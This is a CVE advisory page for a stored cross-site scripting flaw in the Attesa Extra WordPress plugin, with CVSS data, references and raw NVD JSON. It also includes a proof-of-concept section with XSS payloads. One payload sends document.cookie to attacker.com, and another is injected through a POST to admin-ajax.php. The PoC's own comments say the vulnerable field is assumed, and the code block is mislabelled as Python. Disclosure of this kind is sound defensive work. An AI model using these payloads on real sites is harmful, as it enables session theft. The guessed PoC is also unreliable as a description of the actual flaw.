CVE-2025-62971

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CrestaProject Attesa Extra attesa-extra allows Stored XSS.This issue affects Attesa Extra: from n/a through <= 1.4.7.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Attesa Extra <= 1.4.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Attesa Extra Stored XSS PoC -->
<!-- Attesa Extra <= 1.4.7 存储型XSS漏洞利用代码 -->

<!-- 步骤1: 构造恶意XSS payload -->
<script>alert(document.cookie)</script>
<!-- 或更复杂的payload -->
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

<!-- 步骤2: 通过WordPress插件功能点提交payload -->
<!-- 假设存在某个输入字段未过滤，如插件的自定义元素或设置选项 -->
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=attesa_save_element&element_id=1&content=<script>alert(document.cookie)</script>&nonce=xxxxx

<!-- 步骤3: 等待管理员或用户访问受影响页面触发XSS -->
<!-- 恶意脚本将在页面加载时自动执行 -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62971
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62971
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62971/
[4] VulDB https://vuldb.com/cve/CVE-2025-62971
[5] https://patchstack.com/database/Wordpress/Plugin/attesa-extra/vulnerability/wordpress-attesa-extra-plugin-1-4-5-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62971", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:57.610", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CrestaProject Attesa Extra attesa-extra allows Stored XSS.This issue affects Attesa Extra: from n/a through <= 1.4.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/attesa-extra/vulnerability/wordpress-attesa-extra-plugin-1-4-5-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}